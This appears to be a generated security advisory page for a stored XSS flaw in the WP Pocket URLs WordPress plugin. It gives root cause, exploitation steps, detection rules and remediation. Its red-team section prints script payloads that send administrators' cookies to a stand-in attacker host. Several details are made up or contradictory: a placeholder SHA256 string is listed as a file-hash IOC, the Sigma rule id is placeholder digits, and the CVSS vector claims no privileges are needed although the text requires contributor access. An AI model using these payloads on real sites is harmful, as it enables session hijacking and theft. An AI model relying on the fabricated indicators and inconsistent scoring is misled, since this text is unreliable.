CVE-2024-51681
Executive Summary
CVE-2024-51681 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Pocket URLs by CodeRevolution. The vulnerability exists in versions up to and including 1.0.3 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into the plugin's settings or URL management interface, which will execute in the context of any administrator viewing the affected pages. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin's supply chain risk is moderate due to the lack of a known patch and the plugin's unmaintained status.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but exploitation requires a user to click a link or visit a crafted page)
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability is exploitable with low complexity, but requires user interaction and is limited to stored XSS. However, in a WordPress context, it can lead to full site compromise if an admin's session is hijacked.
Deep Dive & Mechanics
The vulnerability resides in the WP Pocket URLs plugin's handling of URL parameters or shortcode attributes. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it on the admin dashboard or frontend. An attacker with contributor-level access can inject malicious JavaScript into fields such as URL slugs, descriptions, or custom parameters. When an administrator views the plugin's settings page or a page containing the injected shortcode, the script executes in the admin's browser.
Root Cause: The plugin uses functions like echo $variable or the_content() without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().
Attack Flow:
- Attacker logs in as a contributor or higher.
- Attacker navigates to WP Pocket URLs settings or adds a new URL entry.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable field. - The payload is stored in the database.
- When an admin visits the plugin's admin page, the payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (wp-pocket-urls.php, line ~45):
echo '<div class="wrap"><h1>WP Pocket URLs</h1><p>' . $url_description . '</p></div>';
Here, $url_description is output directly without escaping.
Patched Code (hypothetical):
echo '<div class="wrap"><h1>WP Pocket URLs</h1><p>' . esc_html( $url_description ) . '</p></div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with WP Pocket URLs <= 1.0.3 installed and activated.
- Attacker account with contributor-level privileges.
Exploitation Steps:
- Log in as a contributor.
- Navigate to
WP Pocket URLs->Add New URL. - In the "Description" field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the URL.
- Wait for an admin to visit the plugin's admin page. The script will execute, sending the admin's cookies to the attacker's server.
Alternative Payload (for session hijacking):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual outbound HTTP requests from the WordPress admin dashboard.
- Look for
document.cookieorfetchin POST data to the plugin's endpoints. - Use the Sigma rule below to detect the payload in logs.
Hunting:
- Search the
wp_postmetaandwp_optionstables for<script>tags. - Review plugin settings pages for unexpected JavaScript.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
wp-pocket-urls.php(v1.0.3):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound connections to
attacker.comor similar domains from the WordPress server.
- Outbound connections to
- Database Indicators:
- Rows in
wp_optionswithoption_namecontainingwp_pocket_urlsandoption_valuecontaining<script>.
- Rows in
- Log Indicators:
- HTTP requests to
/wp-admin/admin.php?page=wp-pocket-urlswithPOSTdata containing<script>.
- HTTP requests to
Detection Engineering
YARA Rule
rule CVE_2024_51681_WP_Pocket_URLs_XSS {
meta:
description = "Detects stored XSS payloads in WP Pocket URLs plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51681"
strings:
$payload1 = "<script>" nocase
$payload2 = "onerror=" nocase
$payload3 = "javascript:" nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS in WP Pocket URLs Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in WP Pocket URLs plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin.php*'
cs-uri-query: 'page=wp-pocket-urls*'
cs-request-body: '*<script>*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51681 WP Pocket URLs Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wp-pocket-urls"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Remove any malicious entries from the database by searching for
<script>tags inwp_optionsandwp_postmeta. - Change all admin passwords and invalidate existing sessions.
Long-term Fix:
- Since the vendor has not released a patch, consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
- Alternatively, replace the plugin with a more secure alternative.
Mitigation Controls:
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST requests to the plugin's admin pages. - Restrict contributor-level access to trusted users only.
- Enable Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT
Securing WordPress Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.